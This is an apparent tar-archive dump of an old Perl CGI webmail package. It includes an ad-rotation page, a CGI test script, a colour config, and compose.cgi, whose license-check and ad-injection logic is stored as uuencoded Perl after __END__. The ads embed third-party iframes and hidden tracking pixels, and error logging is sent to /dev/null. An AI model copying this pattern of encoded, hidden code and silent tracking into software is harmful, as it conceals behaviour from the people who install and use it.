M<&%G97,@/&(^1E)%13PO8CX@9G)O;2!O=7(@:&]M92!P86=E(&%T(#QB/CQA
M(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/FAT='`Z+R]W=W<N861J
197=E8BYC;VT\+V$^/"]B/@H`
)/"]S;6%L;#X*
(/"]F;VYT/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<W5B(')M7VUS9V1I<B!["@``
0;7D@*"1D:7(I(#T@0%\["@``
*;&]C86P@)%\["@``
.;7D@)&9P871H/2<G.PH`
4;W!E;F1I<B@D9&ER+"1D:7(I.PH`
C=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*"1D:7(I*2D@>PH`
5+R@N*BDO("8F("@D7R`]("0Q*3L*
1+UY<+BLD+R`F)B!N97AT.PH`
4)&9P871H(#T@(B1D:7(O)%\B.PH`
1:68@*"UD("1F<&%T:"D@>PH`
4)G)M7VUS9V1I<B@D9G!A=&@I.PH`
)?2!E;'-E('L*
/=6YL:6YK("1F<&%T:#L*
"?0H`
"?0H`
7+60@)&1I<B`F)B!R;61I<B`D9&ER.PH`
(<F5T=7)N.PH`
"?0H`
3<W5B(&=E=%]O=7)?=6ED;"!["@``
C;7D@*"1M<V=N;RPD;7-G<VEZ92PD<V]C:V5T*2`]($!?.PH`
*;&]C86P@)%\["@``
M;7D@*"1F<F]M+"1D871E+"1S=6)J96-T+"1M97-S86=E:60L)'5I9&PI(#T@
2*"<G+"<G+"<G+"<G+"<G*3L*
D<V5N9"@D<V]C:V5T+")43U`@)&US9VYO(#!<<EQN(BPP*3L*
.)%\]/"1S;V-K970^.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<<C]<;B0O
%("D@>PH`
5:68@*"`O7D9R;VTZ("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&9R;VT@/2`D7SL*
"?0H`
5:68@*"`O7D1A=&4Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&1A=&4@/2`D7SL*
"?0H`
8:68@*"`O7E-U8FIE8W0Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
<)'-U8FIE8W0@/2!S=6)S='(H)%\L,"PS,BD["@``
"?0H`
;:68@*"`O7FUE<W-A9V4M:60Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
1)&UE<W-A9V5I9"`]("1?.PH`
"?0H`
"?0H`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
()"\@*2![?0H`
,)'5I9&P@/2`G)SL*
2:68@*"1M97-S86=E:60I('L*
F)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1M97-S86=E:60I.PH`
)?2!E;'-E('L*
M)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"(D9G)O;21D871E)'-U8FIE8W0D
+;7-G<VEZ92(I.PH`
"?0H`
"?0H`
/<W5B(')E861S;V-K('L*
3;7D@*"1S;V-K970I(#T@0%\["@``
/;7D@)&1A=&$@/2`G)SL*
.;7D@)&)U9B`]("<G.PH`
8=VAI;&4@*"1B=68@(7X@+UQN)"\I('L*
0)&)U9CT\)'-O8VME=#X["@``
/)&1A=&$@+CT@)&)U9CL*
"?0H`
.<F5T=7)N("1D871A.PH`
"?0H`
:<W5B('!A<G-E7V5M86EL7V%D9')E<W,@>PH`
*;&]C86P@)%\["@``
9;7D@*"1F=6QL7V%D9')E<W,I(#T@0%\["@``
M;7D@*$!A9&1R<RD@/2!-86EL.CI!9&1R97-S+3YP87)S92@D9G5L;%]A9&1R
&97-S*3L*
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
.:68@*$!A9&1R<RD@>PH`
K*"1N86UE(#T@)&%D9')S6S!=+3YP:')A<V4I(#U^(',O6R(G72LO+V<["@``
B)&%D9"`@(#T@(&QC*"1A9&1R<ULP72T^861D<F5S<RD["@``
M*"1C;VUM("`]("`D861D<G-;,%TM/F-O;6UE;G0I(#U^(',O6R@I72\O9SL*
)?2!E;'-E('L*
2)&YA;64@("`](").;VYE(CL*
2)&%D9"`@("`](").;VYE(CL*
2)&-O;6T@("`](").;VYE(CL*
"?0H`
;<F5T=7)N("@D;F%M92PD861D+"1C;VUM*3L*
"?0H`
0<W5B(&=E=%]F:65L9"!["@``
5;7D@*"1R96,L)&9L9"D@/2!`7SL*
/;7D@)'9A;#UU;F1E9CL*
M*"0D<F5C(#U^(&TC)"1F;&0Z*%M>7'Q=*BDC*2`F)B`H)'9A;"`]("0Q*3L*
-<F5T=7)N("1V86P["@``
"?0H`
#,3L*
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
E;7D@)4,@/2`F9V5T7V-O;&]R<R@D4'M714)-04E,1$E2?2D["@``
7;7D@)4P@/2`F9V5T7VQA;F=U86=E.PH`
-=6UA<VLH,#$W-RD["@``
<)'%U97)Y("`@("`@("`@("`](&YE=R!#1TD["@``
M;7D@)'5S97)N86UE("`@("`@("`]("1Q=65R>2T^<&%R86TH)U5315).04U%
$)RD["@``
M;7D@)&US9VYO("`@("`@("`@("`]("1Q=65R>2T^<&%R86TH)TU31TY/)RD[
!"@``
F)'5S97)N86UE(#T@)G5N97-C87!E7W5R;"@D=7-E<FYA;64I.PH`
B)G9A;&ED871E7W5S97)N86UE*"1U<V5R;F%M92PQ-BD["@``
I)'5S97)N86UE(#U^("]>*"XJ*20O("8F("@D=7-E<FYA;64])#$I.PH`
>)G9A;&ED871E*"1M<V=N;RPG6UQD+5TK)RPV*3L*
C)&US9VYO(#U^("]>*"XJ*20O("8F("@D;7-G;F\])#$I.PH`
M;7D@)'5S97)?9&ER;F%M92`]("(D4'M714)-04E,1$E2?2\D=7-E<FYA;64B
".PH`
M;7D@)&%D9&)O;VM?9FEL96YA;64@/2`B)'5S97)?9&ER;F%M92]A9&1R97-S
+8F]O:RYT>'0B.PH`
M)F-H96-K7VQO9VEN*%PE3"Q<)4,L)'5S97)?9&ER;F%M92PD4'M424U%3U54
$?2D["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
J/'1I=&QE/B1,>R=796)M86EL($%D9')E<W,@0F]O:R=]/"]T:71L93X*
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]/1D972$E417T@3$E.2STD0WM,24Y+?2!!
@3$E.2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](G5P9&%T96%D9&)O;VLN8V=I
#(CX*
6/'1A8FQE(&-E;&QS<&%C:6YG/30^"@``
%/'1R/@H`
M/'1D(&-O;'-P86X]-#X\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B(&-O
M;&]R/21#>U1%6%1?0DQ!0TM]/CQB:6<^/&)I9SX\8CXD3'LG061D($4M36%I
J;"!!9&1R97-S97,G?3PO8CX\+V)I9SX\+V)I9SX\+V9O;G0^/"]T9#X*
&/"]T<CX*
%/'1R/@H`
;/'1D('=I9'1H/2(U)2(^)FYB<W`[/"]T9#X*
M/'1D(&%L:6=N/2)C96YT97(B/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC
M82(@8V]L;W(])$-[5$585%]"3$%#2WT^/&(^)$Q[)TYA;64G?3PO8CX\+V9O
);G0^/"]T9#X*
M/'1D(&%L:6=N/2)C96YT97(B/CQF;VYT(&9A8V4](F%R:6%L+&AE;'9E=&EC
M82(@8V]L;W(])$-[5$585%]"3$%#2WT^/&(^)$Q[)T%D9')E<W,G?3PO8CX\
,+V9O;G0^/"]T9#X*
</'1D('=I9'1H/2(Y,"4B/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
(2$52141/0PH`
M0&US9W,@/2`F<F5A9%]M97-S86=E<U]F<F]M7V1I<VLH(B1U<V5R7V1I<FYA
3;64O;65S<V%G97,N='AT(BD["@``
F)79A<G,@/2`F9V5T7W)E8U]H87-H*"1M<V=S6R1M<V=N;UTI.PH`
M;7D@)&YA;64@("`@/2`D=F%R<WM&4D]-3D%-17T@/R`D=F%R<WM&4D]-3D%-
917T@.B`D=F%R<WM&4D]-0T]-345.5'T["@``
M;7D@)&%D9')E<W,@/2`H)'9A<G-[4E1/041$?2`]?B`O7$`O*2`_("1V87)S
;>U)43T%$1'T@.B`D=F%R<WM&4D]-041$?3L*
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
;/'1D('=I9'1H/2(U)2(^)FYB<W`[/"]T9#X*
M/'1D/CQI;G!U="!T>7!E/71E>'0@<VEZ93TS,B!V86QU93TB)&YA;64B(&YA
1;64]041$3D%-13X\+W1D/@H`
M/'1D/CQI;G!U="!T>7!E/71E>'0@<VEZ93TS,B!V86QU93TB)&%D9')E<W,B
7(&YA;64]041$041$4D534SX\+W1D/@H`
</'1D('=I9'1H/2(Y,"4B/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
(2$52141/0PH`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
89F]R("AV87(@:3TP.VD\-#MI*RLI('L*
79&]C=6UE;G0N=W)I=&4H)SQT<CXG*0H`
M9&]C=6UE;G0N=W)I=&4H)SQT9"!W:61T:#TB-24B/B9N8G-P.SPO=&0^)RD[
!"@``
M9&]C=6UE;G0N=W)I=&4H)SQT9#X\:6YP=70@='EP93TB=&5X="(@<VEZ93TB
<,S(B(&YA;64](D%$1$Y!344B/CPO=&0^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)SQT9#X\:6YP=70@='EP93TB=&5X="(@<VEZ93TB
?,S(B(&YA;64](D%$1$%$1%)%4U,B/CPO=&0^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)SQT9"!W:61T:#TB.3`E(CXF;F)S<#L\+W1D/B<I
".PH`
99&]C=6UE;G0N=W)I=&4H)SPO='(^)RD["@``
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
(2$52141/0PH`
0<')I;G0\/$A%4D5$3T,["@``
%/'1R/@H`
;/'1D('=I9'1H/2(U)2(^)FYB<W`[/"]T9#X*
M/'1D(&%L:6=N/2)C96YT97(B/CQI;G!U="!T>7!E/2)S=6)M:70B('9A;'5E
C/2(D3'LG57!D871E($%D9')E<W,@0F]O:R=](CX\+W1D/@H`
M/'1D(&%L:6=N/2)C96YT97(B/CQI;G!U="!T>7!E/2)B=71T;VXB('9A;'5E
M/2(D3'LG0V%N8V5L)WTB(&]N0VQI8VL](FAI<W1O<GDN8F%C:R@I.R(^/"]T
#9#X*
</'1D('=I9'1H/2(Y,"4B/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B('9A;'5E/2(D
+=7-E<FYA;64B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB141)
$5"(^"@``
(/"]F;W)M/@H`
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
wm357/ads.html100755    312    144       16657  7245677670  12474 0ustar  webmailusers#
# The software will display the ad banner html containted in this file:

# 20% of the time for unlicensed copies of the software, the remaining ad
# impressions are configured in the software.
  
# 100% of the time for licensed copies of the software

# We suggest two things:
# 1) Use http://www.datais.com as your advertising agency (best payout).
# 2) Examine your ad revenues for a couple of months before you decide to
#    purchase a site license.

# Lines beginning with "#" are ignored, as are blank lines.
# Alignment of the ads (left, right, center) is hard coded in the software.
# The string "UNIQUEID" will be replaced with the unix time
# (seconds since Jan 1, 1970, if memory serves.....)
# which is a number like: 950280294
<script language="JavaScript">
<!-- 
/*
   this is a sample javascript that will rotate 10 ads selected randomly
   in each web page displayed by the software that carries banners...
*/
   // generate random numbers 1-10
   var max = 10
   var rno = Math.floor(Math.random()*max+1)
   // for rare case when Math.floor returns 1...
   if (rno > max) rno = max
   // IMPORTANT!!  document.write will only correctly display 1 line of html!!
   // i.e. the document.write command must start AND stop on the same line!!
   switch (rno) {
    case 1:
      document.write('<table border="0" cellpadding="1" cellspacing="0" width="468"><tr><td><center><A HREF="http://adbannerx.virtualave.net/cgi-bin//bpwork.cgi?advert=NonSSI&page=01" target="_top"><IMG SRC="http://adbannerx.virtualave.net/cgi-bin//bpwork.cgi?ID=idiot1&page=01" BORDER=0></a></center></td></tr><tr><td><A HREF="http://adbannerx.virtualave.net/bp/" target="_top"><img src="http://adbannerx.virtualave.net/bp//sub-banner.gif" width="468" border="0" height="15"></a></td></tr></table>')
      break
    case 2:
      document.write(' <a href="http://click.linksynergy.com/fs-bin/stat?id=6ZvgFuipBYI&offerid=7097.2293&type=4&subid=0"><IMG border=0 alt=banner src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=7097.2293&type=4&subid=0"></a> ')
      break
    case 3:
      document.write(' <IMG SRC="http://service.bfast.com/bfast/serve?bfmid=32410730&siteid=35349798&bfpage=home2" BORDER="0" WIDTH="1" HEIGHT="1" NOSAVE > <A HREF="http://service.bfast.com/bfast/click?bfmid=32410730&siteid=35349798&bfpage=home2" TARGET="_top"><IMG SRC="http://download.callwave.com/www.callwave.com/images/affiliate/CWBannerSmall.gif" BORDER="0" WIDTH="312" HEIGHT="48" ALT="CWbanner1_312_48"></A> ')
      break
    case 4:
      document.write(' <IMG SRC="http://service.bfast.com/bfast/serve?bfmid=22218516&siteid=36036292&bfpage=greatgifts_holiday" BORDER="0" WIDTH="1" HEIGHT="1" NOSAVE > <A HREF="http://service.bfast.com/bfast/click?bfmid=22218516&siteid=36036292&bfpage=greatgifts_holiday" TARGET="_top"></A> <br> <IMG SRC="http://service.bfast.com/bfast/serve?bfmid=22218516&siteid=36036292&bfpage=greatgifts_holiday" BORDER="0" WIDTH="1" HEIGHT="1" NOSAVE > <A HREF="http://service.bfast.com/bfast/click?bfmid=22218516&siteid=36036292&bfpage=greatgifts_holiday" TARGET="_top"><IMG SRC="http://a12.g.akamai.net/7/12/282/00172357711b0d/av.com/g/shop_gifts_green_468x60.gif" BORDER="0" WIDTH="468" HEIGHT="60" ALT="Shop Gifts"></A> ')
      break
    case 5:
      document.write(' <a href="http://click.linksynergy.com/fs-bin/stat?id=6ZvgFuipBYI&offerid=21387&type=3&subid=0">NationalBikeRegistry.com (Centric Media, Inc.)</a><IMG border=0 width=1 height=1 src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=21387&type=3&subid=0"><br><a href="http://click.linksynergy.com/fs-bin/stat?id=6ZvgFuipBYI&offerid=21387.10000002&type=4&subid=0"><IMG border=0 alt="Banner 10000002" src="http://nationalbikeregistry.com/banners/nbr468x60.gif"></a><IMG border=0 width=1 height=1 alt=banner src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=21387.10000002&type=4&subid=0"> ')
      break
    case 6:
      document.write(' <a href="http://click.linksynergy.com/fs-bin/click?id=6ZvgFuipBYI&offerid=23271.10000009&subid=0&type=4"><IMG border=0 alt="Banner 10000009" src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=23271.10000009&subid=0&type=4"></a><br><a href="http://click.linksynergy.com/fs-bin/click?id=6ZvgFuipBYI&offerid=23271.10000011&type=1&subid=0" >Sports: Play scheduled baseball, basketball and football games and win $500 to $50,000. Free to play! FreeSportsPlay.com</a><IMG border=0 width=1 height=1 src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=23271.10000011&type=1&subid=0" > ')
   break
    case 7:
      document.write(' <a href="http://click.linksynergy.com/fs-bin/stat?id=6ZvgFuipBYI&offerid=23202&type=1&subid=0" >BullsEye2</a><IMG border=0 width=1 height=1 src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=23202&type=1&subid=0" > <BR> <a href="http://click.linksynergy.com/fs-bin/click?id=6ZvgFuipBYI&offerid=23202.10000002&type=4&subid=0"><IMG alt="Banner 10000002" border=0 src="http://partner.intelliseek.com/buttons/button6.gif"></a><IMG border=0 width=1 height=1 src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=23202.10000002&type=4&subid=0"> ')
      break
    case 8:
      document.write(' <a href="http://click.linksynergy.com/fs-bin/stat?id=6ZvgFuipBYI&offerid=24156&type=1&subid=0" >Idebthelp Debt Consolidation Services<br><IMG border=0 width=1 height=1 src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=24156&type=1&subid=0" ></a> <a href="http://click.linksynergy.com/fs-bin/click?id=6ZvgFuipBYI&offerid=24156.10000012&subid=0&type=4"><IMG border=0 alt="Banner 10000012" src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=24156.10000012&subid=0&type=4" ></a> ')
      break
    case 9:
      document.write(' <form method="get" action="http://click.linksynergy.com/fs-bin/statform"><input type=hidden name=id value=6ZvgFuipBYI><input type=hidden name=offerid value=19870><input type=hidden name=bnid value=2><input type=hidden name="subid" value=""> <INPUT type="HIDDEN" name="MediaType"      value="0"> <INPUT type="HIDDEN" name="DoSearch"       value="1"> <INPUT type="HIDDEN" name="bLogSearchTerm" value="1"> <TABLE width="151" cellspacing="0"> <tr bgcolor="#FFFFFF"> <td colspan="2"><img src="http://www.mdchoice.com/logosm.GIF" width="170" height="34"></td > </tr > <tr bgcolor="#FFFFFF"> <td width="43"> <font size="2" face="Arial" color="#003888"><b >Topic:</b ></font > </td > <td width="127"> <input type="text" size="15" maxlength="256" name="searchTerm" value="" onChange="javascript:this.value=escape(this.value)"> </td > </tr > <tr bgcolor="#FFFFFF"> <td colspan="2"> <center > <input type="submit" name="submit" value="Find It!"> </center > </td > </tr > </table > </form > <IMG width=1 height=1 border=0 src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=19870&type=5"> ')
      break
    case 10:
      document.write(' <a href="http://click.linksynergy.com/fs-bin/click?id=6ZvgFuipBYI&offerid=22170.10000005&type=3&subid=0" >Free Games</a><IMG border=0 width=1 height=1 src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=22170.10000005&type=3&subid=0" > <br> <a href="http://click.linksynergy.com/fs-bin/click?id=6ZvgFuipBYI&offerid=22170.10000024&type=4&subid=0"><IMG alt="Cubix Single Game Link" border=0 src="http://www.prizegames.com/affiliates/media/images/play_cubix_01.gif"></a><IMG border=0 width=1 height=1 src="http://ad.linksynergy.com/fs-bin/show?id=6ZvgFuipBYI&bids=22170.10000024&type=4&subid=0"> ')
      break
    default:
      document.write(' <b>You should never see this!</b> ')
}
//-->
</script>
wm357/cgitest.cgi100644    312    144         333  7245677670  13102 0ustar  webmailusers#!/usr/bin/perl

print "Content-type: text/html\n\n";

print<<HEREDOC;
<HTML>
<HEAD>
<TITLE>ADJE WebMail CGI Test</TITLE>
</HEAD>
<BODY>
<CENTER><B>ADJE WebMail CGI Test Successful!</B></CENTER>
</BODY>
</HTML>
HEREDOC
wm357/colors.txt100755    312    144        1511  7245677670  13040 0ustar  webmailusers# This file provides moderate control over the 
# color scheme of the webmail pages.  All colors
# are referenced from the original color scheme. 
# Software upgrades should recognize previous color settings...

# BG = Back Ground Colors

# DO NOT Change the color names (on the left)
# Only change the #RRGGBB (RGB - Red Green Blue) values (on the right)

# Example: if you wanted to change the original orange
# color to white:

# BG_ORANGE #FFFFFF

BG_ORANGE    #FFBF00 
BG_PURPLE    #3366CC
BG_OFFWHITE  #D3DCE3

# We recommend leaving BG_WHITE and TEXT_BLACK as is..

BG_WHITE     #FFFFFF
TEXT_BLACK   #000000

# link colors
# LINK  = color of unvisited links
# ALINK = color of links as you click on them (ACTIVE LINKS)
# VLINK = color of visited links...
# You may use RGB values if you wish

LINK    BLUE
ALINK   BLUE
VLINK   PURPLE
wm357/compose.cgi100644    312    144      124537  7245677670  13202 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

use lib ".";
use MIME::Head;
use Mail::Address;
use CGI qw/(:cgi) escape unescape/;

require "./params.cgi";
require "./language.cgi";
do './Mail/ADJEMail';
__END__
/<W5B('9A;&ED871E('L*
A;7D@*"1V87(L)'!A='1E<FXL)&UA>&QE;BD@/2!`7SL*
M*"1V87(@/7X@+UXH)'!A='1E<FXI)"\@)B8@;&5N9W1H("1V87(@/#T@)&UA
7>&QE;BD@/R!R971U<FX@.B!E>&ET.PH`
"?0H`
8<W5B('9A;&ED871E7W5S97)N86UE('L*
:;7D@*"1U<V5R;F%M92PD;&5N*2`]($!?.PH`
+)&QE;B`](#,R.PH`
A*"1U<V5R;F%M92`]?B`O7"Y<+B\I("`@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O6UQ<7"]=+RD@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O97AE8R`O:2D@)B8@97AI=#L*
C*&QE;F=T:"`D=7-E<FYA;64@/B`D;&5N*2`F)B!E>&ET.PH`
"?0H`
2<W5B(&ES7VQI8V5N<V5D('L*
-;7D@)&QI8R`](#`["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
/:68@*"10>TQ)0WTI('L*
2;7D@)&-O9&4])%![3$E#?3L*
2)&-O9&4@/7X@<R]>+BXO+SL*
3)&-O9&4@/7X@<R\N+BXD+R\["@``
@)&AE>"`]("9U<FQ?=&]?:&5X*"1H='1P7VAO<W0I.PH`
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
-:68@*"$D;&EC*2!["@``
*;7D@)&%D9'(["@``
A:68@*&5X:7-T<R@D14Y6>U-%4E9%4E]!1$12?2DI('L*
M*"1%3E9[4T525D527T%$1%)](#U^("]>*%M<9%PN72LI)"\I("8F("@D861D
'<CTD,2D["@``
0(21A9&1R("8F(&5X:70["@``
)?2!E;'-E('L*
>=7-E($E/.CI3;V-K970@<7<H:6YE=%]N=&]A*3L*
M)&%D9'(@/2!I;F5T7VYT;V$H<V-A;&%R*&=E=&AO<W1B>6YA;64H)&AT='!?
):&]S="DI*3L*
"?0H`
A;7D@0&%D9')E<W,@/2!S<&QI="@O7"XO+"1A9&1R*3L*
-;7D@)'1O="`](#`["@``
?9F]R("A`861D<F5S<RD@>R`D=&]T("L]("1?.R!]"@``
>;7D@)&AE>"`]('-P<FEN=&8H(B5X(BPD=&]T*3L*
/)&AE>#UU8R@D:&5X*3L*
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
"?0H`
6?2`C(&5N9"!I9B`D4'M,24-]+BXN"@``
-<F5T=7)N("1L:6,["@``
;?2`C(&5N9"!S=6(@:7-?;&EC96YS960N+BX*
1<W5B('5R;%]T;U]H97@@>PH`
/;7D@*"1I;BD@/2!`7SL*
-;7D@)'-U;2`](#`["@``
.<&]S*"1I;BD@/2`P.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'-U;2`K/2!O<F0H)#$I.PH`
"?0H`
?<F5T=7)N('5C*'-P<FEN=&8H(B5X(BPD<W5M*2D["@``
"?0H`
/<W5B('!R:6YT7V%D('L*
:;7D@*"1L87-T860L)&%L:6=N*2`]($!?.PH`
(;7D@)&ED.PH`
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
3:68@*"1L87-T860@/"`P*2!["@``
,)&ED(#T@=&EM93L*
)?2!E;'-E('L*
1)&ED(#T@*RLD;&%S=&%D.PH`
"?0H`
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
2)%![041)1'T](FUM=VTQ(CL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
6=F%R(&YO=R`](&YE=R!$871E*"D["@``
M=F%R('5A:60@/2!N;W<N9V5T5&EM92@I("4@36%T:"YF;&]O<B@X-C0P,#`P
8("T@36%T:"YR86YD;VTH*2HQ,#`P*3L*
M9&]C=6UE;G0N=W)I=&4H)SQI9G)A;64@<W)C/2)H='1P.B\O9F]C=7-I;BYA
M9',N=&%R9V5T;F5T+F-O;2]A9"]I9#TD4'M!1$E$?29O<'0]:&AJ)F-V/3(Q
M,"9U:60])R`K('5A:60@*R`G(B!H96EG:'0]-C`@=VED=&@]-#8X(&9R86UE
M8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R9VEN=VED=&@],"!S8W)O;&QI
,;F<](FYO(CXG*3L*
M9&]C=6UE;G0N=W)I=&4H)SQA(&AR968](FAT='`Z+R]F;V-U<VEN+F%D<RYT
M87)G971N970N8V]M+V%D+VED/210>T%$241])F]P=#UC:6HF8W8],C$P)G5I
B9#TG("L@=6%I9"`K("<B('1A<F=E=#TB7W1O<"(^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)R`@("`\:6UG('-R8STB:'1T<#HO+V9O8W5S:6XN
M861S+G1A<F=E=&YE="YC;VTO860O:60])%![041)1'TF;W!T/6AI:B9C=CTR
M,3`F=6ED/2<@*R!U86ED("L@)R(@86QT/2)#;&EC:R!H97)E('1O('9I<VET
M(&]U<B!S<&]N<V]R(B!W:61T:#TT-C@@:&5I9VAT/38P(&)O<F1E<CTP/B<I
".PH`
M9&]C=6UE;G0N=W)I=&4H)SPO83X\8G(^/&9O;G0@9F%C93TB87)I86PB('-I
M>F4](C$B/CQA(&AR968](FAT='`Z+R]W=W<N9F]C=7-I;BYC;VTB/F9O8W5S
M24X@4W!E8VEA;'1Y(%=E8B!.971W;W)K/"]A/CPO9F]N=#X\+VEF<F%M93XG
#*3L*
&+R\M+3X*
*/"]S8W)I<'0^"@``
+/&YO<V-R:7!T/@H`
M/&EF<F%M92!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M
M+V%D+VED/210>T%$241])F]P=#UH:&XF8W8],C$P)G5I9#TQ(B!H96EG:'0]
M-C`@=VED=&@]-#8X(&9R86UE8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R
;9VEN=VED=&@],"!S8W)O;&QI;F<](FYO(CX*
M/&$@:')E9CTB:'1T<#HO+V9O8W5S:6XN861S+G1A<F=E=&YE="YC;VTO860O
M:60])%![041)1'TF;W!T/6-I;B9C=CTR,3`F=6ED/3$B('1A<F=E=#TB7W1O
(<"(^/&)R/@H`
M/&EM9R!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M+V%D
M+VED/210>T%$241])F]P=#UH:6XF8W8],C$P)G5I9#TQ(B!A;'0](D-L:6-K
M(&AE<F4@=&\@=FES:70@;W5R('-P;VYS;W(B('=I9'1H/30V."!H96EG:'0]
--C`@8F]R9&5R/3`^"@``
M/"]A/CQB<CX\9F]N="!F86-E/2)A<FEA;"(@<VEZ93TB,2(^/&$@:')E9CTB
M:'1T<#HO+W=W=RYF;V-U<VEN+F-O;2(^9F]C=7-)3B!3<&5C:6%L='D@5V5B
=($YE='=O<FL\+V$^/"]F;VYT/CPO:69R86UE/@H`
,/"]N;W-C<FEP=#X*
(2$52141/0PH`
M?2!E;'-E('L@(R!I9B!L:6-E;G-E9"P@<')I;G0@860@:'1M;"!I;B!^=V5B
2;6%I;"]A9',N:'1M;"XN+BX*
E:68@*"`M<R`B)%![5T5"34%)3$1)4GTO861S+FAT;6PB*2!["@``
D;W!E;BA&2"PB)%![5T5"34%)3$1)4GTO861S+FAT;6PB*3L*
.=VAI;&4H/$9(/BD@>PH`
=*"]>7',J7&XD+R!\?"`O7B,O*2`F)B!N97AT.PH`
2<R]53DE1545)1"\D:60O9SL*
'<')I;G0["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
,<F5T=7)N("1I9#L*
4?2`C(&5N9"!P<FEN=%]A9"XN+@H`
:<W5B('!R:6YT7V)A;FYE<F-O;W!?860@>PH`
:;7D@*"1A;&EG;BPD8V]O<&ED*2`]($!?.PH`
/;7D@)&ED(#T@=&EM93L*
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
